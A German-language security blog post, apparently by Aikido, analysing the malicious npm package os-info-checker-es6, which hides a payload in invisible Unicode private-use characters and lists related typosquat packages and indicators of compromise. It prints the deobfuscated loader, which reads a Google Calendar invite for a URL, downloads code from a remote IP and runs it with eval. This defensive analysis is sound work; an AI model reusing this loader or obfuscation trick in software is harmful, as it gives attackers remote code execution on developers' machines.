Aikido

Sie sind eingeladen: Malware-Verbreitung über Google Kalender-Einladungen und PUAs

Charlie EriksenCharlie Eriksen
|
#
#
#

Am 19. März 2025 entdeckten wir ein Paket namens os-info-checker-es6 und waren verblüfft. Wir konnten erkennen, dass es nicht das hielt, was es versprach. Aber was war los? Wir beschlossen, der Sache auf den Grund zu gehen und stießen zunächst auf einige Sackgassen. Doch Geduld zahlt sich aus, und wir erhielten schließlich die meisten Antworten, die wir suchten. Wir erfuhren auch etwas über Unicode PUAs (Nein, keine Pick-up Artists). Es war eine emotionale Achterbahnfahrt!

Was ist das Paket?

Das Paket gibt aufgrund des Fehlens eines ... nicht viele Hinweise. README Datei. So sieht das Paket auf npm aus:

Nicht sehr informativ. Aber es klingt, als würde es Systeminformationen abrufen. Machen wir weiter. 

Code-Geruch verrät es

Unsere Analyse-Pipeline schlug sofort viele rote Flaggen aufgrund des Pakets preinstall.js Datei aufgrund des Vorhandenseins einer eval() Aufruf mit base64-kodierter Eingabe. 

Wir sehen die eval(atob(...)) Aufruf. Das bedeutet „Einen base64-String dekodieren und auswerten“, d.h. beliebigen Code ausführen. Das ist nie ein gutes Zeichen. Aber was ist die Eingabe? 

Die Eingabe ist ein String, der aus dem Aufruf resultiert decode() auf einem nativen Node-Modul, das mit dem Paket geliefert wurde. Die Eingabe für diese Funktion sieht aus wie… Nur ein |?! Was? 

Wir haben hier mehrere große Fragen:

  1. Was macht die Decode-Funktion?
  2. Was hat Dekodierung mit der Überprüfung von OS-Informationen zu tun?
  3. Warum ist es eval()es? 
  4. Warum ist der einzige Input dazu ein |?

Lassen Sie uns tiefer eintauchen

Wir beschlossen, das Binary zu reverse-engineeren. Es ist ein kleines Rust-Binary, das nicht viel tut. Wir erwarteten zunächst, Aufrufe von Funktionen zum Abrufen von Betriebssysteminformationen zu sehen, aber wir sahen NICHTS. Wir dachten, vielleicht verbarg das Binary weitere Secrets, die die Antwort auf unsere erste Frage lieferten. Mehr dazu später.

Aber was ist dann mit der Eingabe der Funktion, die nur ein |? Hier wird es interessant. Das ist nicht die tatsächliche Eingabe. Wir haben den Code in einen anderen Editor kopiert, und was wir sehen, ist:

Womp-womp! Sie wären fast damit durchgekommen. Was wir sehen, sind sogenannte Unicode-„Private Use Access“-Zeichen. Dies sind nicht zugewiesene Codes im Unicode-Standard, die für den privaten Gebrauch reserviert sind, damit Personen ihre eigenen Symbole für ihre Anwendung definieren können. Sie sind von Natur aus nicht druckbar, da sie an sich nichts bedeuten. 

In diesem Fall, die decode Der Aufruf der nativen Node-Binärdatei dekodiert diese Bytes in base64-kodierte ASCII-Zeichen. Sehr clever!

Probieren wir es aus

Wir haben uns also entschieden, den tatsächlichen Code zu untersuchen. Glücklicherweise speichert er den ausgeführten Code in einer Datei namens run.txt. Und es ist nur das hier:

console.log('Check');

Das ist super uninteressant. Was haben sie vor? Warum betreiben sie all diesen Aufwand, um diesen Code zu verstecken? Wir waren fassungslos. 

Aber dann…

Wir sahen veröffentlichte Pakete, die von diesem Paket abhingen, wobei eines davon vom selben Autor stammte. Es waren:

  • skip-tot (19. März 2025)
    • Es ist eine Kopie des Pakets vue-skip-to.
  • vue-dev-serverr (31. März 2025)
  • vue-dummyy (3. April 2025)
    • Es ist eine Kopie des Pakets vue-dummy.
  • vue-bit (3. April 2025)
    • Gibt vor, das Paket zu sein @teambit/bvm.
    • Enthält keinen tatsächlichen Code.

Sie alle haben gemeinsam, dass sie hinzufügen os-info-checker-es6 als Abhängigkeit, aber nie die decode Funktion. Was für eine Enttäuschung. Wir sind nicht schlauer, was die Angreifer vorhatten. Eine Weile geschah nichts, bis die os-info-checker-es6 Paket wurde nach einer langen Pause wieder aktualisiert.

ENDLICH

Dieser Fall beschäftigte mich schon länger. Es ergab keinen Sinn. Was versuchten sie zu tun? Habe ich beim Dekompilieren des nativen Node-Moduls etwas Offensichtliches übersehen? Warum sollte ein Angreifer diese neuartige Fähigkeit so früh aufbrauchen? Die Antwort kam am 7. Mai 2025, als eine neue Version von os-info-checker-es6, Version 1.0.8, wurde veröffentlicht. Der preinstall.js hat sich geändert. 

Oh, schau mal, der verschleierte String ist viel länger! Aber der eval Der Aufruf ist auskommentiert. Selbst wenn eine bösartige Payload im verschleierten String vorhanden wäre, würde sie nicht ausgeführt werden. Was? Wir haben den Decoder in einer Sandbox ausgeführt und den dekodierten String ausgegeben. Hier ist er nach etwas Aufbereitung und manuellen Anmerkungen:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

Haben Sie die URL zum Google Calendar im Orchestrator gesehen? Das ist interessant, so etwas in Malware zu finden. Sehr spannend. 

Sie sind alle eingeladen!

So sieht der Link aus:

Eine Kalendereinladung mit einem base64-kodierten String als Titel. Wunderbar! Das Pizza-Profilfoto ließ mich hoffen, dass es vielleicht eine Einladung zu einer Pizzaparty war, aber die Veranstaltung ist für den 7. Juni 2027 angesetzt. So lange kann ich nicht auf Pizza warten. Einen weiteren base64-kodierten String nehme ich aber gerne. Hier ist, was er entschlüsselt ergibt:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

In einer Sackgasse.. wieder

Diese Untersuchung war voller Höhen und Tiefen. Wir dachten, die Dinge seien in einer Sackgasse, nur damit wieder Lebenszeichen auftauchten. Wir waren so nah dran, die WIRKLICH bösartige Absicht der Entwickelnden herauszufinden, aber wir haben es nicht ganz geschafft.

Man darf sich nicht täuschen lassen – dies war ein neuartiger Ansatz zur Verschleierung. Man sollte meinen, dass jeder, der die Zeit und Mühe investiert, so etwas zu tun, die entwickelten Fähigkeiten auch nutzen würde. Stattdessen scheinen sie nichts damit getan zu haben und haben damit ihre Karten auf den Tisch gelegt. 

Infolgedessen erkennt unsere Analyse-Engine nun solche Muster, bei denen ein Angreifer versucht, Daten in nicht druckbaren Steuerzeichen zu verstecken. Es ist ein weiterer Fall, in dem der Versuch, clever zu sein, anstatt die Erkennung zu erschweren, tatsächlich mehr Signal erzeugt. Weil es so ungewöhnlich ist, dass es auffällt und ein großes Schild schwenkt, auf dem steht: „ICH FÜHRE NICHTS GUTES IM SCHILDE“. Machen Sie weiter so. 👍

Indikatoren für Kompromittierung

Pakete

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URLs

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Danksagung

Bei dieser Untersuchung wurden wir von unseren großartigen Freunden von Vector35 unterstützt, die uns eine Testlizenz für ihr Binary Ninja -Tool zur Verfügung stellten, um sicherzustellen, dass wir das native Node-Modul vollständig verstanden. Ein großes Dankeschön an das Team dort für ihr großartiges Produkt. 👏

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.